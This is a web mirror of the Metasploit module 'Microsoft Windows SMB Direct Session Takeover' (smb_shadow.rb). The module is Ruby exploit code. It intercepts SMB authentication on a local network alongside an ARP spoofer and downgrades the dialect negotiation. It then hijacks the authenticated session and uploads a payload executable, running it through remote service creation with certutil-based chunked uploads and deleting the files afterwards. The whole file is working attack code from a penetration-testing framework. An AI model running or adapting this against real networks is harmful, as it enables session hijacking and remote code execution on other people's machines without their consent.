Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/smb_shadow.rb
28258 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::Capture
10
include Msf::Exploit::EXE
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Microsoft Windows SMB Direct Session Takeover',
17
'Description' => %q{
18
This module will intercept direct SMB authentication requests to
19
another host, gaining access to an authenticated SMB session if
20
successful. If the connecting user is an administrator and network
21
logins are allowed to the target machine, this module will execute an
22
arbitrary payload. To exploit this, the target system must try to
23
autheticate to another host on the local area network.
24
25
SMB Direct Session takeover is a combination of previous attacks.
26
27
This module is dependent on an external ARP spoofer. The builtin ARP
28
spoofer was not providing sufficient host discovery. Bettercap v1.6.2
29
was used during the development of this module.
30
31
The original SMB relay attack was first reported by Sir Dystic on March
32
31st, 2001 at @lanta.con in Atlanta, Georgia.
33
},
34
'Author' => [
35
'usiegl00'
36
],
37
'License' => MSF_LICENSE,
38
'Privileged' => true,
39
'Payload' => {},
40
'References' => [
41
['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack'],
42
['ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES]
43
],
44
'Arch' => [ARCH_X86, ARCH_X64],
45
'Platform' => 'win',
46
'Targets' => [
47
['Automatic', {}]
48
],
49
'DisclosureDate' => '2021-02-16',
50
'DefaultTarget' => 0,
51
'Notes' => {
52
'Stability' => [ SERVICE_RESOURCE_LOSS ],
53
'Reliability' => [ UNRELIABLE_SESSION ],
54
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
55
}
56
)
57
)
58
59
register_options(
60
[
61
OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),
62
OptString.new('INTERFACE', [true, 'The name of the interface']),
63
OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),
64
OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]),
65
OptBool.new('ConfirmServerDialect', [true, 'Confirm the server supports an SMB2 dialect.'])
66
# For future cross LAN work:
67
# OptString.new('GATEWAY', [ true, "The network gateway ip address" ])
68
]
69
)
70
71
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT',
72
'TIMEOUT')
73
end
74
75
def exploit
76
@cleanup_mutex = Mutex.new
77
@cleanedup = true
78
if datastore['DefangedMode'].to_s == 'true'
79
warning = <<~EOF
80
81
Are you SURE you want to modify your port forwarding tables?
82
You MAY contaminate your current network configuration.
83
84
Disable the DefangedMode option if you wish to proceed.
85
EOF
86
fail_with(Failure::BadConfig, warning)
87
end
88
print_good('INFO : Warming up...')
89
print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0
90
@sessions = []
91
@sessions_mutex = Mutex.new
92
@drop_packet_ip_port_map = {}
93
@drop_packet_ip_port_mutex = Mutex.new
94
@negotiated_dialect_map = {}
95
@negotiated_dialect_mutex = Mutex.new
96
@confirm_server_dialect = datastore['ConfirmServerDialect'] || false
97
@arp_cache = {}
98
@arp_mutex = Mutex.new
99
@main_threads = []
100
@interface = datastore['INTERFACE'] # || Pcap.lookupdev
101
unless Socket.getifaddrs.map(&:name).include? @interface
102
fail_with(Failure::BadConfig,
103
"Interface not found: #{@interface}")
104
end
105
@ip4 = ipv4_addresses[@interface]&.first
106
fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3
107
@mac = get_mac(@interface)
108
fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String)
109
# For future cross LAN work: (Gateway is required.)
110
# @gateip4 = datastore['GATEWAY']
111
# fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3
112
# @gatemac = arp(tpa: @gateip4)
113
# fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String
114
@share = datastore['SHARE']
115
print_status("Self: #{@ip4} | #{@mac}")
116
# print_status("Gateway: #{@gateip4} | #{@gatemac}")
117
disable_p445_fwrd
118
@cleanedup = false
119
start_syn_capture
120
start_ack_capture
121
start_rst_capture
122
print_status('INFO : This module must be run alongside an arp spoofer / poisoner.')
123
print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.')
124
main_capture
125
ensure
126
cleanup
127
end
128
129
# This prevents the TCP SYN on port 445 from passing through the filter.
130
# This allows us to have the time to modify the packets before forwarding them.
131
def disable_p445_fwrd
132
if datastore['DisableFwd'] == 'false'
133
print_status('DisableFwd was set to false.')
134
print_status('Packet forwarding on port 445 will not be disabled.')
135
return true
136
end
137
if RUBY_PLATFORM.include?('darwin')
138
pfctl = Rex::FileUtils.find_full_path('pfctl')
139
unless pfctl
140
fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
141
end
142
IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf|
143
pf.write("block out on #{@interface} proto tcp from any to any port 445\n")
144
pf.close_write
145
end
146
IO.popen("#{pfctl} -e", err: '/dev/null').close
147
elsif RUBY_PLATFORM.include?('linux')
148
iptables = Rex::FileUtils.find_full_path('iptables')
149
unless iptables
150
fail_with(Failure::NotFound, 'The iptables executable could not be found.')
151
end
152
IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
153
else
154
print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}")
155
print_error('WARNING : Packet forwarding on port 445 must be blocked manually.')
156
fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.')
157
end
158
print_good('INFO : Packet forwarding on port 445 disabled.')
159
return true
160
end
161
162
# This reverts the changes made in disable_p445_fwrd
163
def reset_p445_fwrd
164
if datastore['DisableFwd'] == 'false'
165
print_status('DisableFwd was set to false.')
166
print_status('Packet forwarding on port 445 will not be reset.')
167
return true
168
end
169
if RUBY_PLATFORM.include?('darwin')
170
pfctl = Rex::FileUtils.find_full_path('pfctl')
171
unless pfctl
172
fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
173
end
174
IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close
175
elsif RUBY_PLATFORM.include?('linux')
176
iptables = Rex::FileUtils.find_full_path('iptables')
177
unless iptables
178
fail_with(Failure::NotFound, 'The iptables executable could not be found.')
179
end
180
IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
181
end
182
print_good('INFO : Packet forwarding on port 445 reset.')
183
return true
184
end
185
186
# This starts the SYN capture thread as part of step two.
187
def start_syn_capture
188
@syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do
189
c = PacketFu::Capture.new(iface: @interface, promisc: true)
190
c.capture
191
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")
192
c.stream.each_data do |data|
193
packet = PacketFu::Packet.parse(data)
194
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
195
196
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
197
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
198
packet.to_w(@interface)
199
end
200
end
201
end
202
203
# This starts the ACK capture thread as part of step two.
204
def start_ack_capture
205
@ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do
206
c = PacketFu::Capture.new(iface: @interface, promisc: true)
207
c.capture
208
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")
209
c.stream.each_data do |data|
210
packet = PacketFu::Packet.parse(data)
211
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
212
213
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
214
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
215
packet.to_w(@interface)
216
end
217
end
218
end
219
220
# This starts the ACK capture thread as part of step two.
221
def start_rst_capture
222
@rst_capture_thread = Rex::ThreadFactory.spawn('RstCaptureThread', false) do
223
c = PacketFu::Capture.new(iface: @interface, promisc: true)
224
c.capture
225
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-rst) != 0")
226
c.stream.each_data do |data|
227
packet = PacketFu::Packet.parse(data)
228
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
229
230
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
231
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
232
packet.to_w(@interface)
233
end
234
end
235
end
236
237
# This returns a mac string by querying the arp cache by an ip address.
238
# If the address is not in the cache, it uses an arp query.
239
def getarp(ip4)
240
unless @arp_cache[ip4]
241
mac = arp(tpa: ip4)
242
@arp_mutex.synchronize { @arp_cache[ip4] = mac } unless mac == []
243
end
244
return @arp_cache[ip4]
245
end
246
247
# This sends an arp packet out to the network and captures the response.
248
# This allows us to resolve mac addresses in real time.
249
# We need the mac address of the server and client.
250
def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff',
251
sha: @mac, spa: @ip4,
252
tha: '00:00:00:00:00:00', tpa: '', op: 1,
253
capture: true)
254
p = PacketFu::ARPPacket.new(
255
eth_src: Rex::Socket.eth_aton(smac),
256
eth_dst: Rex::Socket.eth_aton(dmac),
257
arp_src_mac: Rex::Socket.eth_aton(sha),
258
arp_src_ip: Rex::Socket.addr_aton(spa),
259
arp_dst_mac: Rex::Socket.eth_aton(tha),
260
arp_dst_ip: Rex::Socket.addr_aton(tpa),
261
arp_opcode: op
262
)
263
if capture
264
c = PacketFu::Capture.new(iface: @interface)
265
c.capture
266
c.stream.setfilter("arp src #{tpa} and ether dst #{smac}")
267
p.to_w(@interface)
268
sleep 0.5
269
c.save
270
c.array.each do |pkt|
271
pkt = PacketFu::Packet.parse pkt
272
# This decodes the arp packet and returns the query response.
273
if pkt.arp_header.arp_src_ip == Rex::Socket.addr_aton(tpa)
274
return Rex::Socket.eth_ntoa(pkt.arp_header.arp_src_mac)
275
end
276
return Rex::Socket.addr_ntoa(pkt.arp_header.arp_src_ip) if Rex::Socket.eth_ntoa(pkt.arp_header.src_mac) == tha
277
end
278
else
279
p.to_w(@interface)
280
end
281
end
282
283
# This returns a hash of local interfaces and their ip addresses.
284
def ipv4_addresses
285
results = {}
286
Socket.getifaddrs.each do |iface|
287
if iface.addr.ipv4?
288
results[iface.name] = [] unless results[iface.name]
289
results[iface.name] << iface.addr.ip_address
290
end
291
end
292
results
293
end
294
295
=begin For future cross LAN work: (Gateway is required.)
296
def ipv4_gateways
297
results = {}
298
Socket.getifaddrs.each do |iface|
299
if iface.addr.ipv4? & iface.netmask&.ipv4?
300
results[iface.name] = [] unless results[iface.name]
301
results[iface.name] << IPAddr.new(
302
IPAddr.new(iface.addr.ip_address).mask(iface.netmask.ip_address).to_i + 1,
303
IPAddr.new(iface.addr.ip_address).family
304
).to_string
305
end
306
end
307
results
308
end
309
=end
310
311
# This is the main capture thread that handles all SMB packets routed through this module.
312
def main_capture
313
# This makes sense in the context of the paper.
314
# Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack
315
mc = PacketFu::Capture.new(iface: @interface, promisc: true)
316
mc.capture
317
mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42")
318
mc.stream.each_data do |data|
319
packet = PacketFu::Packet.parse(data)
320
nss = packet.payload[0..3]
321
smb2 = packet.payload[4..]
322
# Only Parse Packets from known sessions
323
if (smb2[0..4] != "\xFFSMB") && !@sessions.include?(packet.ip_header.ip_daddr) && !@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
324
case smb2[11..12]
325
when "\x00\x00" # Negotiate Protocol Request
326
smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
327
# Dialect Count Set To 1
328
dialect = smb_packet.dialects.first
329
# TODO: We could negotiate different dialects between the server and client, but it would require a more interactive approach.
330
unless smb_packet.dialects.min >= 0x300
331
begin
332
if @negotiated_dialect_map[packet.tcp_header.tcp_src]
333
dialect = @negotiated_dialect_map[packet.tcp_header.tcp_src]
334
elsif @confirm_server_dialect
335
Timeout.timeout(2.75) do
336
rport = packet.tcp_header.tcp_src - rand(42..83)
337
@drop_packet_ip_port_mutex.synchronize do
338
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = true
339
end
340
dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(
341
interface: @interface,
342
mac: @mac,
343
eth_src: Rex::Socket.eth_aton(@mac),
344
eth_dst: Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)),
345
ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),
346
ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),
347
tcp_src: rport,
348
tcp_dst: packet.tcp_header.tcp_dst,
349
tcp_seq: rand(14540253..3736845241),
350
tcp_ack: 0,
351
tcp_win: packet.tcp_header.tcp_win
352
)
353
dispatcher.send_packet(
354
'',
355
nbss_header: false,
356
tcp_flags: { syn: 1 },
357
tcp_opts: PacketFu::TcpOptions.new.encode("MSS:#{Msf::Exploit::SMB::ShadowMitmDispatcher::TCP_MSS}").to_s
358
)
359
dispatcher.recv_packet
360
dispatcher.send_packet(
361
'',
362
nbss_header: false,
363
tcp_flags: { ack: 1 }
364
)
365
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, smb3: false, username: '', password: '')
366
client.negotiate
367
dialect = client.dialect.to_i(16)
368
# pp dialect
369
@drop_packet_ip_port_mutex.synchronize do
370
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = false
371
end
372
@negotiated_dialect_mutex.synchronize do
373
@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
374
end
375
end
376
# Check if the server supports any SMB2 dialects
377
else
378
# We just assume the server supports the client's minimum dialect.
379
dialect = smb_packet.dialects.min
380
@negotiated_dialect_mutex.synchronize do
381
@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
382
end
383
end
384
unless dialect >= 0x300
385
original_size = smb_packet.to_binary_s.size
386
smb_packet.dialects = [dialect]
387
smb_packet.negotiate_context_list = []
388
smb_packet.client_start_time = 0
389
# Re-Calculate Length: (Optional...)
390
# nss = [smb_packet.to_binary_s.size].pack("N")
391
# Add more dialects while keeping the dialect count at one to pad out the message.
392
((original_size - smb_packet.to_binary_s.size) / 2).times { |_i| smb_packet.dialects << dialect }
393
smb_packet.dialect_count = 1
394
packet.payload = "#{nss}#{smb_packet.to_binary_s}"
395
packet.recalc
396
end
397
rescue Timeout::Error, Errno::ECONNREFUSED, RubySMB::Error::CommunicationError, RubySMB::Error::NegotiationFailure => e
398
# We were unable to connect to the server or we were unable to negotiate any SMB2 dialects
399
print_status("Confirm Server Dialect Error: #{e}")
400
end
401
end
402
when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH
403
smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)
404
if (smb_packet.smb2_header.session_id != 0) && (@negotiated_dialect_map[packet.tcp_header.tcp_src] && @negotiated_dialect_map[packet.tcp_header.tcp_src] < 0x300)
405
# Disable Session
406
@drop_packet_ip_port_mutex.synchronize do
407
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
408
end
409
# Start Main Thread
410
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
411
main_thread(packet: packet, dialect: @negotiated_dialect_map[packet.tcp_header.tcp_src], dstmac: getarp(packet.ip_header.ip_daddr))
412
end
413
end
414
when "\x00\x03" # Tree Connect Request
415
smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2)
416
# We assume that if we didn't intercept the SessionSetupRequest, the client must be using SMBv3.
417
# SMBv3 requires signing on all TreeConnectRequests.
418
# As we do not have access to the client's session key, we must perform the attack without connecting to a different tree.
419
# The only tree that we are able to do this with is the IPC$ tree, as it has control over the svcctl service controller.
420
if smb_packet.path.include?('\\IPC$'.encode('UTF-16LE')) && (@negotiated_dialect_map[packet.tcp_header.tcp_src].nil? || @negotiated_dialect_map[packet.tcp_header.tcp_src] >= 0x300)
421
# Disable Session
422
@drop_packet_ip_port_mutex.synchronize do
423
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
424
end
425
# Start Main Thread
426
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
427
# At this point, any SMBv3 version will do in order to conduct the attack.
428
# Their minor protocol differences should not be relevant in this situation.
429
# I just assumed that 0x300 is the least secure, which should be the right one to choose.
430
main_thread(packet: packet, dialect: 0x300, dstmac: getarp(packet.ip_header.ip_daddr))
431
end
432
end
433
end
434
end
435
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
436
437
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
438
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
439
# packet.recalc
440
packet.to_w(@interface)
441
end
442
end
443
444
# This handles a session that has already authenticated to the server.
445
# This allows us to offload the session from the main capture thead.
446
def main_thread(packet:, dialect:, dstmac:)
447
dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(
448
interface: @interface,
449
mac: @mac,
450
eth_src: Rex::Socket.eth_aton(@mac),
451
eth_dst: Rex::Socket.eth_aton(dstmac),
452
ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),
453
ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),
454
tcp_src: packet.tcp_header.tcp_src,
455
tcp_dst: packet.tcp_header.tcp_dst,
456
tcp_seq: packet.tcp_header.tcp_seq,
457
tcp_ack: packet.tcp_header.tcp_ack,
458
tcp_win: packet.tcp_header.tcp_win
459
)
460
dispatcher.send_packet(packet.payload, nbss_header: false)
461
data = dispatcher.recv_packet
462
if dialect >= 0x300
463
smb_packet = RubySMB::SMB2::Packet::TreeConnectResponse.read(data)
464
else
465
smb_packet = RubySMB::SMB2::Packet::SessionSetupResponse.read(data)
466
end
467
468
address = packet.ip_header.ip_daddr
469
470
smb1 = dialect / 0x100 == 1
471
smb2 = dialect / 0x100 == 2
472
smb3 = dialect / 0x100 == 3
473
client = RubySMB::Client.new(dispatcher, smb1: smb1, smb2: smb2, smb3: smb3, always_encrypt: false, username: '', password: '')
474
475
client.dialect = dialect
476
client.session_id = smb_packet.smb2_header.session_id
477
client.smb2_message_id = smb_packet.smb2_header.message_id + 1
478
client.negotiated_smb_version = dialect
479
480
# SMB3 requires signing on the TreeConnectRequest
481
# We are unable to sign the request, as we do not have the session key.
482
# This means that we have to stay on the same tree during the entire attack.
483
# We can perform the entire attack from the IPC$ tree, at the cost of reduced speed.
484
# Using this separated delivery technique, we can conduct the attack without disconnecting from the tree.
485
if dialect >= 0x300
486
tree = RubySMB::SMB2::Tree.new(client: client, share: "\\\\#{address}\\IPC$", response: smb_packet, encrypt: false)
487
488
print_status('Connecting to the Service Control Manager...')
489
svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
490
svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
491
scm_handle = svcctl.open_sc_manager_w(address)
492
print_status('Regenerating the payload...')
493
494
filename = rand_text_alpha(8) + '.exe'
495
servicename = rand_text_alpha(8)
496
opts = { servicename: servicename }
497
exe = generate_payload_exe_service(opts)
498
print_status('Uploading payload...')
499
mindex = [exe].pack('m0').bytes.each_slice(1024).to_a.size
500
[exe].pack('m0').bytes.each_slice(1024).to_a.each_with_index do |part, index|
501
partfile = "%SYSTEMROOT%\\#{rand_text_alpha(8)}"
502
print_status("Uploading payload: #{index + 1}/#{mindex}")
503
launch_service(
504
svcctl: svcctl,
505
scm_handle: scm_handle,
506
service: "%COMSPEC% /c echo #{part.pack('C*')} > #{partfile}.b64 & certutil -decodehex #{partfile}.b64 #{partfile} 0x400000001 & type #{partfile} #{(index == 0) ? '>' : '>>'} %SYSTEMROOT%\\#{filename} & del #{partfile} #{partfile}.b64",
507
log: false
508
)
509
end
510
sleep 3
511
print_status("Created \\#{filename}...")
512
else
513
print_status('Connecting to the defined share...')
514
path = "\\\\#{address}\\#{@share}"
515
tree = client.tree_connect(path)
516
517
print_status('Regenerating the payload...')
518
filename = rand_text_alpha(8) + '.exe'
519
servicename = rand_text_alpha(8)
520
opts = { servicename: servicename }
521
exe = generate_payload_exe_service(opts)
522
523
print_status('Uploading payload...')
524
file = tree.open_file(filename: filename, write: true, disposition: RubySMB::Dispositions::FILE_SUPERSEDE)
525
# The MITM dispatcher supports tcp packet fragmentation.
526
file.write(data: exe)
527
528
print_status("Created \\#{filename}...")
529
file.close
530
tree.disconnect!
531
532
print_status('Connecting to the Service Control Manager...')
533
ipc_path = "\\\\#{address}\\IPC$"
534
tree = client.tree_connect(ipc_path)
535
svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
536
svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
537
scm_handle = svcctl.open_sc_manager_w(address)
538
end
539
540
launch_service(
541
svcctl: svcctl,
542
scm_handle: scm_handle,
543
service: "%SYSTEMROOT%\\#{filename}"
544
)
545
546
@sessions_mutex.synchronize { @sessions << address }
547
sleep 0.5
548
549
# Due to our inability to sign TreeConnectRequests when using SMBv3, we must stay on the same tree.
550
# The IPC$ tree has access to the svcctl service launcher.
551
# We can delete the file by scheduling a command as a service to do so.
552
if dialect >= 0x300
553
print_status("Deleting \\#{filename}...")
554
launch_service(
555
svcctl: svcctl,
556
scm_handle: scm_handle,
557
service: "%COMSPEC% /c del %SYSTEMROOT%\\#{filename}",
558
log: false
559
)
560
561
print_status('Closing service handle...')
562
svcctl.close_service_handle(scm_handle)
563
else
564
print_status('Closing service handle...')
565
svcctl.close_service_handle(scm_handle)
566
tree.disconnect!
567
568
print_status("Deleting \\#{filename}...")
569
tree = client.tree_connect(path)
570
file = tree.open_file(filename: filename, delete: true)
571
file.delete
572
end
573
574
=begin
575
# Prevent STATUS_USER_SESSION_DELETED
576
#sleep 42 <- We must use traffic to prevent the server from closing the connection
577
20.times do
578
sleep 2
579
begin
580
tree.open_file(filename: '.', read: false)
581
rescue RubySMB::Error::UnexpectedStatusCode
582
# Expected STATUS_ACCESS_DENIED
583
end
584
end
585
=end
586
587
tree.disconnect!
588
589
client.disconnect!
590
return true # Done.
591
end
592
593
# Launch a svcctl service by creating, starting, and then deleting it
594
def launch_service(svcctl:, scm_handle:, service:, log: true)
595
service_name = rand_text_alpha(8)
596
display_name = rand_text_alpha(rand(8..32))
597
598
print_status('Creating a new service...') if log
599
svc_handle = svcctl.create_service_w(scm_handle, service_name, display_name, service)
600
601
print_status('Closing service handle...') if log
602
svcctl.close_service_handle(svc_handle)
603
svc_handle = svcctl.open_service_w(scm_handle, service_name)
604
605
print_status('Starting the service...') if log
606
begin
607
svcctl.start_service_w(svc_handle)
608
rescue RubySMB::Dcerpc::Error::SvcctlError
609
# StartServiceW returns an error on success.
610
end
611
612
sleep 0.1
613
614
print_status('Removing the service...') if log
615
svcctl.delete_service(svc_handle)
616
return true
617
end
618
619
# This cleans up and exits all the active threads.
620
def cleanup
621
@cleanup_mutex.synchronize do
622
unless @cleanedup
623
print_status 'Cleaning Up...'
624
@syn_capture_thread.exit if @syn_capture_thread
625
@ack_capture_thread.exit if @ack_capture_thread
626
@rst_capture_thread.exit if @rst_capture_thread
627
@main_threads.map(&:exit) if @main_threads
628
reset_p445_fwrd
629
@cleanedup = true
630
print_status 'Cleaned Up.'
631
end
632
end
633
end
634
end
635
636